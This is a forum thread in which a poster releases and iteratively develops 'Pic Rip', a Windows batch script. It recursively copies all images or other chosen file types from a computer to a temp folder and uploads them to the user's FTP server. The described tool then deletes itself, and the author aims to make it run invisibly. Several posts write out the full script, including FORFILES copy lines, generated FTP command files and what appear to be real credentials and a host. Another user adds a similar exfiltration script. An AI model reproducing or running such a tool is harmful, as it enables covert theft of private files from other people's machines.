Jump to content

Pic Rip v1.2.0


M0XIE
 Share

Recommended Posts

Pic Rip v1.2.0 Release.

Here it is the much awaited, cheah, Pic Rip. The batch that scans any computer rips any file and uploads it to an ftp.

Included in this download is:

main.bat    //The main program for ripping, run this beast.

WinUHA      //You'll need to install this to view the compressed archive

UHARC      //This is what compresses your files.

far.jpg        //Forfiles.exe from resouce kit

bu_far.bat //If for some reason the main batch is unable to copy the Forfiles.exe to its correct location run this then re-run the main.bat

Renamer    //This will rename picrip.gif back to picrip.uha, make sure this is in the same directory as pirrip.gif when you run it

The following is the only part you'll have to edit in the main batch program:

Echo "USERNAME"> ftpcmd.txt

echo "PASSWORD">> ftpcmd.txt

echo binary>> ftpcmd.txt

echo prompt n>>ftpcmd.txt

echo mput picrip.ftp>> ftpcmd.txt

echo bye >> ftpcmd.txt

ftp -s:ftpcmd.txt "PUT FTP HERE"

Just fill in your username, pass, and the ftp.

If you would like to rip files other than jpg's there is one other line that you will have to edit. And that line is this:

FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"

You would edit *.jpg to *you file format. eg *.mpg *.avi.

I will be continuing to work on this as well, trying to fine tune the program. Make it so it runs faster and invisibly.

Download:

http://www.mediafire.com/?2gx9gaphdz9

Mirror1:

http://fileho.com/download/3fc701201619/picrip.rar.html

Mirrir2:

http://rapidshare.com/files/53268382/picrip.rar.html

I made a minor mistake in the renamer.bat Open it up and change .uah to .uha

Comments and Crit welcome.

Link to comment
Share on other sites

Ok you run the program on the PC. It scans the computer quick for all jpgs, minus the system folders. It dumps the images to a temp location. It them sends the pictures to you via FTP or email. And then it auto deletes it's self and the images in the temp folder. Similar to USBDumper but it scans the PC.

DLSS wrote this in a thread:

@echo off
color 0a
echo.
echo DVDrip-INDEXER  by DLSS
echo ------------------------------
echo %cd%
echo.

set file=%COMPUTERNAME%-%USERNAME%
set save=savelocation-(location-of-script)
set ftp-server=ftp.yourserver.com
set ftp-user=yourusername
set ftp-pass=yourpassword
echo %ftp-user% >> "%file%.ftp"
echo %ftp-pass% >> "%file%.ftp"
echo prompt off >> "%file%.ftp"

# problem ! i need to put mget "
# in front of each line and 
# " after each line ....

dir "C:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "D:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "E:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "F:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "G:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "H:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
dir "I:/*DVDrip*.avi" /b /s >> "%save%/%file%.ftp"
# etc
cls
FTP -s:%file%.ftp %ftp-server%
exit

This only scans the directory its in, and is setup for avi's.

Link to comment
Share on other sites

Not true. The /s parameter makes the dir commands work recursively.

Omitting the system folder will be tricky, so I'll leave that as an exercise to you.

Link to comment
Share on other sites

Yes. And because I'm a lazier bastard than you are I suggest you look at the manual for the dir command to see how to accomplish this. There are literally TONS of online resources that explain to you how to do DOS batch scripting, and you'll probably learn a lot from toying with this.

Link to comment
Share on other sites

Appreciate the support, but have no clue where to begin. I suppose I could stair at the code I posted earlier till I figures it out

First thing I would do is search google for "BAT SCRIPTING" and "DOS COMMANDS". Also search the forums using the search button at the top of the page.

Then, try a few tests on your own and come back when you get stumped.

Good luck..

Link to comment
Share on other sites

Ugh...

I would be kind enough to help if you actually had a specific question regarding coding it. Asking us to code it thats just bypassing the limits of kind.

Well I am stuck on the whole thing. So questions bout code to ask....

How do you search for jpgs in a batch

How do you take results from search and dump them to one location

How do you establish a FTP in cmd

Link to comment
Share on other sites

Note I am not on Windows so this is going to be purely from memory.

"How do you search for jpgs in a batch"

Should be a command like find

"How do you take results from search and dump them to one location"

COPY [/A | /B] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination] [/A | /B]] [/V] [/Y | /-Y]

"How do you establish a FTP in cmd"

ftp /help

Hope I am of some help.

Link to comment
Share on other sites

Appreciate the help. I will look for the batch search command now. Thanks!

Edit +

Well, I found this

attrib /s *.jpg

It will search for the files in all sub directories. My next question is how do I take the search results and make a copy of each file found. I'm guessing it might have to do with writing the search results to a file and then re-reading them but using a loop so it goes through the list and copies each file untill it reaches the bottom, but how.

Link to comment
Share on other sites

I can't figure out how to move the pictures to the temp directory.

I can get the attrib command to work in dos, but when I go to put it in a batch I can't seem to get it to run.

This is my code so far...

: Pic Rip v0.1
: Scans current directory and
: sub directories for images.
: Makes log of images and transfers
: images to FTP.
: ~AaoN~ Monday, Spetember 3rd, 2007
@echo off
dir *.jpg /o /p > picrip.log
: find *.jpg > rip.log
echo All done. Have a good day! >> picrip.log

Notice the attrib command is not there I tried with find command and that didnt work either. Any suggestions?

edit+

Got attrib command to write to file. Cept it leaves an annoying A at the beginning of each line.

: Pic Rip v0.1.1
: Scans current directory and
: sub directories for images.
: Makes log of images and transfers
: images to FTP.
: ~AaoN~ Monday, Spetember 3rd, 2007

@echo off

: dir *.jpg /o > picrip.log {Only does current directory}
: find *.jpg > rip.log        {Does not seem to work}    
: Pwnerz! This command does work.

attrib /s *.jpg > picrip.log

echo All done. Have a good day! >> picrip.log

EDIT ++

Ok it makes a temp directory in c but I can't get the files to move there.. Any suggestions?

: Pic Rip v0.1.2
: Scans current directory and
: sub directories for images.
: Makes log of images and transfers
: images to FTP.
: ~AaoN~ Monday, Spetember 3rd, 2007

@echo off
cd c:
md picrip
: dir *.jpg /o > picrip.log {Only does current directory}
: find *.jpg > rip.log        {Does not seem to work}    
: Pwnerz! This command does work.

attrib /s %1 *.jpg > picrip.log  | copy %1 c:picrip%1

echo All done. Have a good day! >> picrip.log

EDIT +++

Ok now it makes a temp directory in the c drive goes C:documents and settingscurrent user runs the search from there makes a log copies it to the temp directory and then deletes the log in the current user directory. Just need to know how to copy files from search there as well.

: Pic Rip v0.1.3
: Scans current directory and
: sub directories for images.
: Makes log of images and transfers
: images to FTP.
: ~AaoN~ Monday, Spetember 3rd, 2007

@echo off

cd c:
md picrip

: dir *.jpg /o > picrip.log {Only does current directory}
: find *.jpg > rip.log        {Does not seem to work}    
: Pwnerz! This command does work.

cd c:Documents and Settings%USERNAME%

attrib /s *.jpg > picrip.log

copy picrip.log c:picrip

echo All done. Have a good day! >> picrip.log

del picrip.log

EDIT ++++

Cleaned up the extra crap I didn't need. Commented it. Got rid of the A in the log

: Pic Rip v0.1.4
: Scans current directory and
: sub directories for images.
: Makes log of images and transfers
: images to FTP.
: ~AaoN~ Monday, Spetember 3rd, 2007

@echo off

: Moves to C:

cd c:

: Makes picrip directory

md picrip

: Moves to c:Documents and Settings%USERNAME%

cd c:Documents and Settings%USERNAME%

: Preliminary Search, Removes Attributes

attrib /s *.jpg -a -h -r -s

: Does the serach and makes log

attrib /s *.jpg > picrip.log

: Moves log to c:picrip

copy picrip.log c:picrip

echo All done. Have a good day! >> picrip.log

: Deletes c:Documents and Settings%USERNAME%picrip.log

del picrip.log

Link to comment
Share on other sites

I CAN"T FIGURE OUT HOW TO READ FROM A FILE AND THEN COPY THE IMAGES TO A TEMP DIR.

Do you honestly expect people to want to help you when you go mental like that?

Link to comment
Share on other sites

Ok some major changes to the code. I actually started over, found a much easier way. I am currently stuck on the ftp part though.

:: Pic Rip v1.0.0
:: Scans computer for images.
:: Images are then transfered
:: via FTP.
:: ~AaoN~ Monday, Spetember 3rd, 2007

@ECHO OFF


:: Gives program title.


title Pic Rip v1.0.0



:: Checks to see if forfiles already exists.

cd c:windowssystem32



:: If it does exist goto SCAN, if not copy it.

if exist forfiles.exe GOTO SCAN

copy far.jpg c:windowssystem32forfiles.exe



:: Uses forfiles to scan and copy all images to temp directory


:SCAN

FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picrip@FILE"


:: Connects to FTP

Echo "Username"> ftpcmd.txt
echo "Password">> ftpcmd.txt
echo binary>> ftpcmd.txt
echo prompt n>>ftpcmd.txt
echo mget *.jpg>> ftpcmd.txt
echo bye >> ftpcmd.txt
ftp -s:ftpcmd.txt "ftp.blah.com"
del ftpcmd.txt

pause

Link to comment
Share on other sites

Ok some major changes to the code. I actually started over, found a much easier way. I am currently stuck on the ftp part though.

:: Pic Rip v1.0.0
:: Scans computer for images.
:: Images are then transfered
:: via FTP.
:: ~AaoN~ Monday, Spetember 3rd, 2007

@ECHO OFF


:: Gives program title.


title Pic Rip v1.0.0



:: Checks to see if forfiles already exists.

cd c:windowssystem32



:: If it does exist goto SCAN, if not copy it.

if exist forfiles.exe GOTO SCAN

copy far.jpg c:windowssystem32forfiles.exe



:: Uses forfiles to scan and copy all images to temp directory


:SCAN

FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picrip@FILE"


:: Connects to FTP

Echo "Username"> ftpcmd.txt
echo "Password">> ftpcmd.txt
echo binary>> ftpcmd.txt
echo prompt n>>ftpcmd.txt
echo mget *.jpg>> ftpcmd.txt
echo bye >> ftpcmd.txt
ftp -s:ftpcmd.txt "ftp.blah.com"
del ftpcmd.txt

pause

VARY impressive you went from knowing very little about batch scripting, to what appears to be a well written script

Link to comment
Share on other sites

Appreciate the comment someone. I took c++ a while back it's just a matter of making the connections and remembering. I am still having a bugger of a time with the FTP though. I had it working for one test run but I changed something and now it refuses to work.

My main bat now executes

ftp -s:updatewebsite.txt

The updatewebsite.txt has the following inside of it:

open someftpserver.somedomain.org

myusername

mypassword

cd httpd/docs

prompt

binary

mput *.jpg

bye

However when it comes time for the main bat to run that part of the script it goes crazy and repeats

C:Documents and Settings%Username%

Link to comment
Share on other sites

I got the ftp part to work too. The problem I am having now is that it will only upload one of the many jpgs in the temp directory, it wont loop. I was wondering if there was some way to archive the temp directory{like win rar} and then upload that one file.

Link to comment
Share on other sites

Ok guys I downloaded uharc, a compression tool for dos. Here is my updated code so far.

:: Pic Rip v1.1.0
:: Scans computer for images.
:: Images are then transfered
:: via FTP.
:: ~AaoN~ Monday, Spetember 3rd, 2007

@ECHO OFF


:: Gives program title.

title Pic Rip v1.1.0

cd c:

if exist picrip goto temp

md picrip

:temp
cd c:picrip

if exist temp goto forfile

md temp

:: Checks to see if forfiles already exists.

:forfile


cd c:windowssystem32



:: If it does exist goto SCAN, if not copy it.

if exist forfiles.exe GOTO SCAN

copy far.jpg c:windowssystem32forfiles.exe



:: Uses forfiles to scan and copy all images to temp directory


:SCAN

FORFILES -pC: -s -m*.jpg -c"CMD /C copy @FILE c:picriptemp@FILE"

cd c:picrip
Echo aaon> ftpcmd.txt
echo nevermore>> ftpcmd.txt
echo binary>> ftpcmd.txt
echo prompt n>>ftpcmd.txt
echo mput *.jpg>> ftpcmd.txt
echo bye >> ftpcmd.txt
ftp -s:ftpcmd.txt aaon.110mb.com
del ftpcmd.txt

pause

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...